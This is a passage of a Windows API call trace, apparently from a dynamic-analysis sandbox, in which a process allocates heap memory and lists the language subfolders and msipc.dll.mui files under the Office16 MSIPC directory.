[0229.971] GetProcessHeap () returned 0xc10000 [0229.971] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.971] GetProcessHeap () returned 0xc10000 [0229.971] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\eu\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0229.972] GetProcessHeap () returned 0xc10000 [0229.973] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.973] GetProcessHeap () returned 0xc10000 [0229.973] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fi\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0229.974] GetProcessHeap () returned 0xc10000 [0229.974] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.974] GetProcessHeap () returned 0xc10000 [0229.974] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\fr\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0229.974] GetProcessHeap () returned 0xc10000 [0229.974] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.975] GetProcessHeap () returned 0xc10000 [0229.975] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.975] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\gl\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0229.976] GetProcessHeap () returned 0xc10000 [0229.976] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.976] GetProcessHeap () returned 0xc10000 [0229.976] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\he\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0229.977] GetProcessHeap () returned 0xc10000 [0229.977] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.977] GetProcessHeap () returned 0xc10000 [0229.977] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hi\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0229.979] GetProcessHeap () returned 0xc10000 [0229.979] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.979] GetProcessHeap () returned 0xc10000 [0229.979] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.979] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hr\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0229.980] GetProcessHeap () returned 0xc10000 [0229.980] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.980] GetProcessHeap () returned 0xc10000 [0229.980] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\hu\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0229.982] GetProcessHeap () returned 0xc10000 [0229.982] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.982] GetProcessHeap () returned 0xc10000 [0229.982] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\id\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a229e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x63a229e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63a229e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0229.983] GetProcessHeap () returned 0xc10000 [0229.983] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.983] GetProcessHeap () returned 0xc10000 [0229.983] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.983] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\it\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59b433, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0229.984] GetProcessHeap () returned 0xc10000 [0229.984] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.984] GetProcessHeap () returned 0xc10000 [0229.985] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.985] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ja\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0229.986] GetProcessHeap () returned 0xc10000 [0229.986] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.986] GetProcessHeap () returned 0xc10000 [0229.986] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\kk\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0229.987] GetProcessHeap () returned 0xc10000 [0229.987] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.987] GetProcessHeap () returned 0xc10000 [0229.987] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ko\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0229.988] GetProcessHeap () returned 0xc10000 [0229.988] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.988] GetProcessHeap () returned 0xc10000 [0229.989] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.989] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lt\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0229.990] GetProcessHeap () returned 0xc10000 [0229.990] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.990] GetProcessHeap () returned 0xc10000 [0229.990] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\lv\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0229.991] GetProcessHeap () returned 0xc10000 [0229.991] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0229.991] GetProcessHeap () returned 0xc10000 [0229.991] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0229.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ms\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.199] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.199] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.199] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.199] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0230.199] GetProcessHeap () returned 0xc10000 [0230.199] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.199] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0230.199] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1b3a83c3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b3a83c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b3a83c3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2126, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSIPCEvents.man", cAlternateFileName="MSIPCE~1.MAN")) returned 1 [0230.199] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0230.200] GetProcessHeap () returned 0xc10000 [0230.200] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0230.201] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.201] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb43ee0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.201] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb43ee0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5898, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.201] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0230.201] GetProcessHeap () returned 0xc10000 [0230.201] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.201] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0230.202] GetProcessHeap () returned 0xc10000 [0230.202] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0230.203] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.203] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 1 [0230.203] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5298, dwReserved0=0x0, dwReserved1=0x0, cFileName="msipc.dll.mui", cAlternateFileName="MSIPCD~1.MUI")) returned 0 [0230.203] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0230.203] GetProcessHeap () returned 0xc10000 [0230.203] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0230.203] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0230.204] GetProcessHeap () returned 0xc10000 [0230.204] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0230.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0230.205] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 